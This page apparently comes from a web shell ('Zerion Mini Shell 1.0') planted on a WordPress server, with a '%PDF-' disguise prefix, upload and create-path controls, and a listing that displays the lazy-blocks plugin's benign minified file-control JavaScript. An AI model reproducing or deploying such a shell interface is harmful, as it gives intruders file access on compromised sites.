%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/tif-dev/wp-content/plugins/lazy-blocks/controls/file/
Upload File :
Create Path :
Current File : //var/www/tif-dev/wp-content/plugins/lazy-blocks/controls/file/file-control.min.js

!function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var o=t[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}}function o(e,t){return o=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},o(e,t)}function r(t,n){if(n&&("object"===e(n)||"function"==typeof n))return n;if(void 0!==n)throw new TypeError("Derived constructors may only return object or undefined");return l(t)}function l(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function i(e){return i=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)},i(e)}var a=wp.i18n.__,c=wp.element.Component,s=wp.components,u=s.BaseControl,f=s.Button,p=s.DropZone,m=s.withNotices,d=wp.compose,b=d.compose,y=d.withInstanceId,h=wp.blockEditor.MediaPlaceholder,w=wp.data.withSelect,E=(window.lazyblocksConstructorData||window.lazyblocksGutenberg).allowed_mime_types,g=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&o(e,t)}(y,e);var c,s,m,d,b=(m=y,d=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}(),function(){var e,t=i(m);if(d){var n=i(this).constructor;e=Reflect.construct(t,arguments,n)}else e=t.apply(this,arguments);return r(this,e)});function y(){var e;t(this,y);for(var n=arguments.length,o=new Array(n),r=0;r<n;r++)o[r]=arguments[r];return(e=b.call.apply(b,[this].concat(o))).state={hasError:!1},e.onUploadError=e.onUploadError.bind(l(e)),e}return c=y,(s=[{key:"onUploadError",value:function(e){var t=this.props.noticeOperations;t.removeAllNotices(),t.createErrorNotice(e)}},{key:"render",value:function(){var e=this,t=this.props,n=t.label,o=t.value,r=t.help,l=t.allowedMimeTypes,i=t.noticeOperations,c=t.noticeUI,s=t.onChange,m=void 0===s?function(){}:s,d=t.mediaUpload,b=[];return l&&l.length?l.forEach((function(e){E[e]&&b.push(E[e])})):Object.keys(E).forEach((function(e){b.push(E[e])})),wp.element.createElement(u,{label:n,help:r},wp.element.createElement("div",{className:"lzb-gutenberg-file-wrap"},o&&Object.keys(o).length?"":wp.element.createElement(h,{icon:"media-default",labels:{title:n,name:a("file","lazy-blocks")},onSelect:function(t){e.setState({hasError:!1}),m(t)},notices:c,allowedTypes:b,disableMaxUploadErrorMessages:!0,onError:this.onUploadError}),o&&Object.keys(o).length?wp.element.createElement("div",{className:"lzb-gutenberg-file"},wp.element.createElement(p,{onFilesDrop:function(t){d({allowedTypes:b,filesList:t,onFileChange:function(t){e.setState({hasError:!1}),m(t[0])},onError:function(t){e.setState({hasError:!0}),i.createErrorNotice(t)}})}}),wp.element.createElement("div",{className:"lzb-gutenberg-file-item",key:o.id||o.url},wp.element.createElement("div",{className:"lzb-gutenberg-file-item-icon"},wp.element.createElement("span",{className:"dashicons dashicons-media-default"})),wp.element.createElement("div",{className:"lzb-gutenberg-file-item-content"},wp.element.createElement("div",{className:"lzb-gutenberg-file-item-content-title"},o.title),wp.element.createElement("div",{className:"lzb-gutenberg-file-item-content-filename"},o.url.replace(/^.*[\\/]/,"")))),wp.element.createElement("div",{className:"lzb-gutenberg-file-button"},wp.element.createElement(f,{isSecondary:!0,isSmall:!0,onClick:function(){e.setState({hasError:!1}),m("")}},a("Remove File","lazy-blocks")))):""))}}])&&n(c.prototype,s),y}(c);b([w((function(e){return{mediaUpload:e("core/block-editor").getSettings().mediaUpload}})),y,m])(g)}();

Zerion Mini Shell 1.0